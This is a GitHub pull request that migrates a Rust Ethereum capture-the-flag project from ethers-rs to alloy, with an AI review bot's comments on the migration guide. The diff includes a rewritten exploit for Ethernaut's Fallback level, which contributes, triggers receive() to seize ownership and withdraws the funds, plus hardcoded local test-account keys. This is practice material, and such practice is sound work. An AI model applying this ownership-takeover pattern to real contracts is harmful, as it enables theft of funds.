Skip to content
Open
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3,365 changes: 1,962 additions & 1,403 deletions Cargo.lock

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ exclude = [".github/", "**/tests/", "**/contracts/", "**/cache/", "**/out/"]

[workspace.dependencies]
async-trait = "0.1.81"
ethers = "2.0.14"
alloy = { version = "1.0", features = ["full"] }
eyre = "0.6"
rand = "0.8.5"
serde = "1.0.204"
Expand Down
160 changes: 160 additions & 0 deletions MIGRATION_GUIDE.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
# Ethers to Alloy Migration Guide

This document outlines the migration of this CTF project from ethers-rs to alloy v1.0, including completed work and remaining tasks.

## Migration Overview

Alloy is the successor to ethers-rs, built from the ground up with significant performance improvements, better type safety, and modern Rust patterns. Key benefits include:

- **60% faster U256 arithmetic operations**
- **10x faster ABI encoding**
- **Simplified provider architecture** with fillers and layers
- **Better ergonomics** with the `sol!` macro
- **Type-safe network abstractions**

## Completed Work

### 1. Dependencies Updated
- ✅ `Cargo.toml`: Replaced `ethers = "2.0.14"` with `alloy = { version = "1.0", features = ["full"] }`
- ✅ `flake.nix`: Updated nixpkgs to 24.11 for latest Rust toolchain support
- ✅ Both `ctf/Cargo.toml` and `attack/Cargo.toml` updated

### 2. Core Infrastructure
- ✅ **Roles Module** (`ctf/src/roles.rs`):
- Migrated from `SignerMiddleware` to alloy's `RootProvider` with fillable wallets
- Added address tracking (`deployer_address`, `offender_address`, etc.)
- Updated provider creation to use `ProviderBuilder` with recommended fillers

- ✅ **Attack Roles** (`attack/src/roles.rs`):
- Mirrored the ctf roles structure for consistency
- Updated to use alloy patterns

### 3. Contract Definitions
- ✅ **Fallback Contract ABI** (`ctf/src/abi/fallback.rs`):
- Replaced 532-line ethers-generated code with clean 15-line `sol!` macro
- Much more readable and maintainable
- Example before/after shows dramatic improvement

### 4. Level Implementation
- ✅ **Fallback Level** (`ctf/src/ethernaut/lvl01_fallback.rs`):
- Updated contract deployment and interaction patterns
- Fixed provider method calls (e.g., `get_balance`, `send_transaction`)
- Updated to use role addresses instead of provider account queries

### 5. Attack Implementation
- ✅ **Fallback Attack** (`attack/src/ethernaut/hack01_fallback.rs`):
- Updated contract interaction patterns
- Added transaction receipt logging
- Fixed value passing with proper U256 types

### 6. Library Updates
- ✅ **Main Library** (`ctf/src/lib.rs`):
- Updated imports to use alloy primitives
- Changed `deploy()` function signature to accept RPC URL instead of provider
- Updated `set_up_ethernaut()` function

- ✅ **Ethernaut Module** (`ctf/src/ethernaut/mod.rs`):
- Updated to pass RPC URL to roles creation
- Removed ethers-specific imports

- ✅ **Deploy Script** (`ctf/src/bin/deploy_levels.rs`):
- Updated to use alloy's Anvil bindings
- Simplified provider creation

## Key Pattern Changes

### Before (Ethers):
```rust
// Complex provider with middleware
pub type Actor = Arc<SignerMiddleware<Provider<Http>, LocalWallet>>;

// Verbose contract interaction
let balance = contract.contributions(address).await?;
let tx = contract.contribute().value(1).send().await?.await?;
```

### After (Alloy):
```rust
// Clean provider with built-in wallet support
pub type Actor = Arc<RootProvider<Http<Client>>>;

// Clean contract interaction with explicit receipts
let balance = contract.contributions(address).call().await?._0;
let receipt = contract.contribute().value(U256::from(1)).send().await?.get_receipt().await?;
```

## Remaining Work

### 1. ABI Contract Definitions (High Priority)
The following contract ABIs need to be converted from ethers-generated code to alloy `sol!` macros:

- `ctf/src/abi/*.rs` - **Approximately 100+ files** need conversion
- Pattern: Replace large ethers-generated code with concise `sol!` definitions
- Example template in `ctf/src/abi/fallback.rs`

### 2. Level Implementations (High Priority)
Update all level implementations in `ctf/src/ethernaut/`:
- `lvl02_fallout.rs` through `lvl23_dex_two.rs`
- Update provider method calls and transaction patterns
- Use role addresses instead of provider account queries
- Add proper error handling and receipt logging

### 3. Attack Implementations (Medium Priority)
Update all attack implementations in `attack/src/ethernaut/`:
- Follow the pattern established in `hack01_fallback.rs`
- Update contract interaction patterns
- Add transaction receipt logging

### 4. Additional Components (Low Priority)
- **Damn Vulnerable DeFi**: If/when these modules are enabled
- **Testing**: Update any test files that use ethers patterns
- **Documentation**: Update any ethers-specific documentation

## Migration Commands

### With Nix (Recommended):
```bash
# Update flake
nix flake update

# Enter development environment
nix develop

# Rebuild contracts and bindings
bind-ctf
bind-attack

# Test deployment
deploy-levels
```

### Without Nix:
```bash
# Install latest Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

# Test compilation
cargo check
cargo build

# Run deployment test
cargo run --bin deploy_levels
```

## Next Steps

1. **Start with Contract ABIs**: Convert the remaining contract ABI files using the fallback.rs pattern
2. **Convert Levels**: Update each level implementation following the lvl01_fallback.rs pattern
3. **Test Incrementally**: Test each conversion to ensure functionality is preserved
4. **Update Attacks**: Convert attack implementations once their corresponding levels work

## Benefits Realized

Once migration is complete, the project will benefit from:
- **Faster compilation** due to cleaner generated code
- **Better performance** in U256 operations and ABI encoding
- **Improved maintainability** with concise `sol!` macro definitions
- **Future-proof codebase** built on alloy's stable v1.0 foundation
- **Better developer experience** with alloy's improved error messages and documentation

The migration represents a significant modernization of the codebase that will provide long-term benefits for development and maintenance.

@coderabbitai coderabbitai Bot Jul 11, 2025

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick (assertive)

LGTM: Comprehensive migration guide with valuable documentation

This migration guide provides excellent documentation of the ethers-rs to alloy migration, including:

  • Clear overview of benefits and performance improvements
  • Detailed documentation of completed work
  • Helpful before/after code examples
  • Prioritized list of remaining tasks
  • Practical migration commands for both Nix and non-Nix environments

The content is accurate and aligns with the code changes observed in the other files.

Consider addressing formatting issues

The static analysis tools have flagged numerous formatting issues including:

  • Missing blank lines around headings and lists
  • Trailing spaces
  • Missing final newline

While these don't affect functionality, cleaning them up would improve the document's professional appearance.

Apply these formatting fixes:

# Add blank lines around headings and lists as needed
# Remove trailing spaces
# Add final newline at end of file

Committable suggestion skipped: line range outside the PR's diff.

🧰 Tools
🪛 LanguageTool

[grammar] ~1-~1: Use correct spacing
Context: # Ethers to Alloy Migration Guide This document outlines the migration of...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~3-~3: Use correct spacing
Context: ... including completed work and remaining tasks. ## Migration Overview Alloy is the succes...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~5-~5: Use correct spacing
Context: ...work and remaining tasks. ## Migration Overview Alloy is the successor to ethers-rs, bu...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~7-~7: Use correct spacing
Context: ... and modern Rust patterns. Key benefits include: - 60% faster U256 arithmetic operations...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~13-~13: Use correct spacing
Context: ... the sol! macro - Type-safe network abstractions ## Completed Work ### 1. Dependencies Upd...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~15-~15: Use correct spacing
Context: ...fe network abstractions** ## Completed Work ### 1. Dependencies Updated - ✅ `Cargo.toml...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~20-~20: Use correct spacing
Context: ...ctf/Cargo.tomlandattack/Cargo.toml` updated ### 2. Core Infrastructure - ✅ **Roles Modu...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~24-~24: There might be a mistake here.
Context: ...to alloy's RootProvider with fillable wallets - Added address tracking (`deployer_a...

(QB_NEW_EN_OTHER)


[grammar] ~25-~25: Use a period to end declarative sentences
Context: ...deployer_address, offender_address, etc.) - Updated provider creation to use `P...

(QB_NEW_EN_OTHER_ERROR_IDS_25)


[grammar] ~26-~26: There might be a mistake here.
Context: ... use ProviderBuilder with recommended fillers - ✅ Attack Roles (`attack/src/roles.r...

(QB_NEW_EN_OTHER)


[grammar] ~29-~29: There might be a mistake here.
Context: ... - Mirrored the ctf roles structure for consistency - Updated to use alloy patterns ### ...

(QB_NEW_EN_OTHER)


[grammar] ~30-~30: There might be a mistake here.
Context: ...or consistency - Updated to use alloy patterns ### 3. Contract Definitions - ✅ **Fallback ...

(QB_NEW_EN_OTHER)


[grammar] ~34-~34: There might be a mistake here.
Context: ...enerated code with clean 15-line sol! macro - Much more readable and maintainable...

(QB_NEW_EN_OTHER)


[grammar] ~35-~35: There might be a mistake here.
Context: ...sol! macro - Much more readable and maintainable - Example before/after shows dramatic...

(QB_NEW_EN_OTHER)


[grammar] ~36-~36: There might be a mistake here.
Context: ... - Example before/after shows dramatic improvement ### 4. Level Implementation - ✅ **Fallback...

(QB_NEW_EN_OTHER)


[grammar] ~42-~42: Use correct spacing
Context: ...e addresses instead of provider account queries ### 5. Attack Implementation - ✅ **Fallback...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~48-~48: Use correct spacing
Context: ... - Fixed value passing with proper U256 types ### 6. Library Updates - ✅ Main Library...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~52-~52: There might be a mistake here.
Context: ....rs): - Updated imports to use alloy primitives - Changed deploy()` function signatu...

(QB_NEW_EN_OTHER)


[grammar] ~53-~53: There might be a mistake here.
Context: ... signature to accept RPC URL instead of provider - Updated set_up_ethernaut() functi...

(QB_NEW_EN_OTHER)


[grammar] ~54-~54: There might be a mistake here.
Context: ...ovider - Updated set_up_ethernaut() function - ✅ Ethernaut Module (`ctf/src/ethern...

(QB_NEW_EN_OTHER)


[grammar] ~57-~57: There might be a mistake here.
Context: ...): - Updated to pass RPC URL to roles creation - Removed ethers-specific imports - ...

(QB_NEW_EN_OTHER)


[grammar] ~58-~58: There might be a mistake here.
Context: ...es creation - Removed ethers-specific imports - ✅ Deploy Script (`ctf/src/bin/deplo...

(QB_NEW_EN_OTHER)


[grammar] ~61-~61: There might be a mistake here.
Context: ....rs`): - Updated to use alloy's Anvil bindings - Simplified provider creation ## Ke...

(QB_NEW_EN_OTHER)


[grammar] ~62-~62: There might be a mistake here.
Context: ... Anvil bindings - Simplified provider creation ## Key Pattern Changes ### Before (Ethers...

(QB_NEW_EN_OTHER)


[grammar] ~64-~64: Use correct spacing
Context: ...ified provider creation ## Key Pattern Changes ### Before (Ethers): ```rust // Complex pro...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~66-~66: Use correct spacing
Context: ...ion ## Key Pattern Changes ### Before (Ethers): rust // Complex provider with middleware pub type Actor = Arc<SignerMiddleware<Provider<Http>, LocalWallet>>; // Verbose contract interaction let balance = contract.contributions(address).await?; let tx = contract.contribute().value(1).send().await?.await?; ### After (Alloy): ```rust // Clean provide...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~76-~76: Use correct spacing
Context: ...1).send().await?.await?; ### After (Alloy):rust // Clean provider with built-in wallet support pub type Actor = Arc<RootProvider<Http>>; // Clean contract interaction with explicit receipts let balance = contract.contributions(address).call().await?._0; let receipt = contract.contribute().value(U256::from(1)).send().await?.get_receipt().await?; ``` ## Remaining Work ### 1. ABI Contract Def...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~86-~86: Use correct spacing
Context: ...get_receipt().await?; ``` ## Remaining Work ### 1. ABI Contract Definitions (High Prior...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~89-~89: There might be a problem here.
Context: ...m ethers-generated code to alloy sol! macros: - ctf/src/abi/*.rs - Approximately 100+ files need conve...

(QB_NEW_EN_MERGED_MATCH)


[grammar] ~91-~91: There might be a mistake here.
Context: ...rs` - Approximately 100+ files need conversion - Pattern: Replace large ethers-generat...

(QB_NEW_EN_OTHER)


[grammar] ~92-~92: There might be a mistake here.
Context: ...hers-generated code with concise sol! definitions - Example template in `ctf/src/abi/fall...

(QB_NEW_EN_OTHER)


[grammar] ~93-~93: Use correct spacing
Context: ...e sol! definitions - Example template in ctf/src/abi/fallback.rs ### 2. Level Implementations (High Priorit...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~96-~96:
Context: ...implementations in ctf/src/ethernaut/: - lvl02_fallout.rs through lvl23_dex_two.rs - Update provider method calls and transa...

(QB_NEW_EN_OTHER_ERROR_IDS_)


[grammar] ~98-~98: There might be a mistake here.
Context: ...e provider method calls and transaction patterns - Use role addresses instead of provide...

(QB_NEW_EN_OTHER)


[grammar] ~99-~99: There might be a mistake here.
Context: ...e addresses instead of provider account queries - Add proper error handling and receipt...

(QB_NEW_EN_OTHER)


[grammar] ~100-~100: There might be a mistake here.
Context: ...- Add proper error handling and receipt logging ### 3. Attack Implementations (Medium Prior...

(QB_NEW_EN_OTHER)


[grammar] ~105-~105: There might be a mistake here.
Context: ...lback.rs` - Update contract interaction patterns - Add transaction receipt logging ### ...

(QB_NEW_EN_OTHER)


[grammar] ~106-~106: There might be a mistake here.
Context: ...tion patterns - Add transaction receipt logging ### 4. Additional Components (Low Priority)...

(QB_NEW_EN_OTHER)


[grammar] ~110-~110: There might be a mistake here.
Context: ...: Update any test files that use ethers patterns - Documentation: Update any ethers-...

(QB_NEW_EN_OTHER)


[grammar] ~111-~111: There might be a mistake here.
Context: ...mentation**: Update any ethers-specific documentation ## Migration Commands ### With Nix (Recom...

(QB_NEW_EN_OTHER)


[grammar] ~113-~113: Use correct spacing
Context: ...rs-specific documentation ## Migration Commands ### With Nix (Recommended): ```bash # Updat...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~115-~115: Use correct spacing
Context: ...on ## Migration Commands ### With Nix (Recommended): bash # Update flake nix flake update # Enter development environment nix develop # Rebuild contracts and bindings bind-ctf bind-attack # Test deployment deploy-levels ### Without Nix: ```bash # Install latest R...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~131-~131: Use correct spacing
Context: ...ployment deploy-levels ### Without Nix:bash # Install latest Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh # Test compilation cargo check cargo build # Run deployment test cargo run --bin deploy_levels ``` ## Next Steps 1. **Start with Contract AB...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~144-~144: Use correct spacing
Context: ...go run --bin deploy_levels ``` ## Next Steps 1. Start with Contract ABIs: Convert the...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~146-~146: There might be a mistake here.
Context: ...ontract ABI files using the fallback.rs pattern 2. Convert Levels: Update each leve...

(QB_NEW_EN_OTHER)


[grammar] ~147-~147: There might be a mistake here.
Context: ...ntation following the lvl01_fallback.rs pattern 3. Test Incrementally: Test each ...

(QB_NEW_EN_OTHER)


[grammar] ~148-~148: There might be a mistake here.
Context: ...h conversion to ensure functionality is preserved 4. Update Attacks: Convert attack i...

(QB_NEW_EN_OTHER)


[grammar] ~149-~149: There might be a mistake here.
Context: ...tations once their corresponding levels work ## Benefits Realized Once migration is co...

(QB_NEW_EN_OTHER)


[grammar] ~151-~151: Use correct spacing
Context: ... corresponding levels work ## Benefits Realized Once migration is complete, the project...

(QB_NEW_EN_OTHER_ERROR_IDS_5)


[grammar] ~158-~158: Use correct spacing
Context: ...ith alloy's improved error messages and documentation The migration represents a significant ...

(QB_NEW_EN_OTHER_ERROR_IDS_5)

🪛 markdownlint-cli2 (0.17.2)

17-17: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


18-18: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


22-22: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


23-23: Trailing spaces
Expected: 0 or 2; Actual: 1

(MD009, no-trailing-spaces)


23-23: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


28-28: Trailing spaces
Expected: 0 or 2; Actual: 1

(MD009, no-trailing-spaces)


32-32: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


33-33: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


38-38: Trailing spaces
Expected: 0 or 2; Actual: 1

(MD009, no-trailing-spaces)


38-38: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


39-39: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


44-44: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


45-45: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


50-50: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


51-51: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


66-66: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


66-66: Trailing punctuation in heading
Punctuation: ':'

(MD026, no-trailing-punctuation)


67-67: Fenced code blocks should be surrounded by blank lines

(MD031, blanks-around-fences)


76-76: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


76-76: Trailing punctuation in heading
Punctuation: ':'

(MD026, no-trailing-punctuation)


77-77: Fenced code blocks should be surrounded by blank lines

(MD031, blanks-around-fences)


88-88: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


95-95: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


97-97: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


102-102: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


104-104: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


108-108: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


109-109: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


115-115: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


115-115: Trailing punctuation in heading
Punctuation: ':'

(MD026, no-trailing-punctuation)


116-116: Fenced code blocks should be surrounded by blank lines

(MD031, blanks-around-fences)


131-131: Headings should be surrounded by blank lines
Expected: 1; Actual: 0; Below

(MD022, blanks-around-headings)


131-131: Trailing punctuation in heading
Punctuation: ':'

(MD026, no-trailing-punctuation)


132-132: Fenced code blocks should be surrounded by blank lines

(MD031, blanks-around-fences)


154-154: Lists should be surrounded by blank lines

(MD032, blanks-around-lists)


160-160: Files should end with a single newline character

(MD047, single-trailing-newline)

🤖 Prompt for AI Agents
In MIGRATION_GUIDE.md lines 1 to 160, fix formatting issues by adding missing
blank lines before and after headings and lists, removing trailing spaces at
line ends, and ensuring the file ends with a single newline. These changes will
improve readability and maintain a professional document appearance without
altering content.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

we don't need migration docs, we just need to complete the migration. so this should actually be removed

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@0xgleb You're absolutely right! Let's focus on completing the migration instead of documenting it. The MIGRATION_GUIDE.md file should be removed from this PR.

Would you like me to help identify and prioritize the remaining migration tasks? From the code changes I can see there are still contract ABI files to convert from ethers to alloy sol! macros, and level implementations to update.

🐰💨


✏️ Learnings added
Learnt from: 0xgleb
PR: data-cartel/dex-offender#13
File: MIGRATION_GUIDE.md:0-0
Timestamp: 2025-07-11T20:39:56.602Z
Learning: In the dex-offender project, the maintainer prefers to focus on completing migrations rather than maintaining migration documentation. Remove migration guide files instead of fixing their formatting.

Note: Learnings are effective only in the context of similar code segments. To apply general coding guidelines, please configure review instructions. You can manage existing learnings in the app.

2 changes: 1 addition & 1 deletion attack/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ resolver = "2"
ctf.path = "../ctf"

async-trait.workspace = true
ethers.workspace = true
alloy.workspace = true
eyre.workspace = true
serde.workspace = true
tokio.workspace = true
29 changes: 18 additions & 11 deletions attack/src/ethernaut/hack01_fallback.rs
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
use alloy::{primitives::U256, rpc::types::TransactionRequest};
use async_trait::async_trait;
use ctf::ethernaut::lvl01_fallback::*;
use ethers::prelude::*;

pub(crate) struct Exploit;

Expand All @@ -13,22 +13,29 @@ impl ctf::Exploit for Exploit {
target: &Self::Target,
offender: &ctf::Actor,
) -> eyre::Result<()> {
let contract = Fallback::new(target.address, offender.clone());
let contract = Fallback::new(target.address, offender);

println!("Calling contribute()...");
contract.contribute().value(1).send().await?.await?;

println!("Calling receive()...");
offender
.send_transaction(
TransactionRequest::new().to(contract.address()).value(1),
None,
)
let receipt = contract
.contribute()
.value(U256::from(1))
.send()
.await?
.get_receipt()
.await?;
println!("Contribute tx: {:?}", receipt.transaction_hash);

println!("Calling receive()...");
let tx = TransactionRequest::default()
.to(contract.address())
.value(U256::from(1));
let receipt =
offender.send_transaction(tx).await?.get_receipt().await?;
println!("Receive tx: {:?}", receipt.transaction_hash);

println!("Calling withdraw()...");
contract.withdraw().send().await?.await?;
let receipt = contract.withdraw().send().await?.get_receipt().await?;
println!("Withdraw tx: {:?}", receipt.transaction_hash);

Ok(())
}
Expand Down
63 changes: 42 additions & 21 deletions attack/src/roles.rs
Original file line number Diff line number Diff line change
@@ -1,43 +1,64 @@
use ethers::prelude::*;
use alloy::{
providers::{ProviderBuilder, RootProvider},
network::Ethereum,
signers::{local::PrivateKeySigner, wallet::EthereumWallet},
transports::http::{Http, Client},
primitives::Address,
};
use std::sync::Arc;

pub type Actor = Arc<SignerMiddleware<Provider<Http>, LocalWallet>>;
pub type Actor = Arc<RootProvider<Http<Client>>>;

#[derive(Debug, Clone)]
pub struct Roles {
pub deployer: Actor,
pub some_user: Actor,
pub deployer_address: Address,
pub some_user: Actor,
pub some_user_address: Address,
pub offender: Actor,
pub offender_address: Address,
}

impl Roles {
pub fn new() -> eyre::Result<Self> {
let provider = Provider::<Http>::try_from("http://localhost:8545")?;
pub async fn new() -> eyre::Result<Self> {
let rpc_url = "http://localhost:8545";

let deployer: LocalWallet =
let deployer_key: PrivateKeySigner =
"0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80".parse()?;
let deployer =
mk_signer(provider.clone(), deployer, Chain::AnvilHardhat)?;
let deployer_address = deployer_key.address();
let deployer = mk_provider_with_signer(rpc_url, deployer_key).await?;

let some_user: LocalWallet =
let some_user_key: PrivateKeySigner =
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d".parse()?;
let some_user =
mk_signer(provider.clone(), some_user, Chain::AnvilHardhat)?;
let some_user_address = some_user_key.address();
let some_user = mk_provider_with_signer(rpc_url, some_user_key).await?;

let offender: LocalWallet =
let offender_key: PrivateKeySigner =
"0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6".parse()?;
let offender = mk_signer(provider, offender, Chain::AnvilHardhat)?;
let offender_address = offender_key.address();
let offender = mk_provider_with_signer(rpc_url, offender_key).await?;

Ok(Roles { deployer, some_user, offender })
Ok(Roles {
deployer,
deployer_address,
some_user,
some_user_address,
offender,
offender_address
})
}
}

fn mk_signer(
provider: Provider<Http>,
wallet: LocalWallet,
chain_id: impl Into<u64>,
async fn mk_provider_with_signer(
rpc_url: &str,
signer: PrivateKeySigner,
) -> eyre::Result<Actor> {
let wallet =
SignerMiddleware::new(provider, wallet.with_chain_id(chain_id));
Ok(Arc::new(wallet))
let wallet = EthereumWallet::from(signer);
let provider = ProviderBuilder::new()
.with_recommended_fillers()
.wallet(wallet)
.on_http(rpc_url.parse()?)
.await?;

Ok(Arc::new(provider))
}
2 changes: 1 addition & 1 deletion ctf/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -12,4 +12,4 @@ serde = { workspace = true }
serde_json = { workspace = true }
async-trait = { workspace = true }
tokio = { workspace = true }
ethers = { workspace = true }
alloy = { workspace = true }
Loading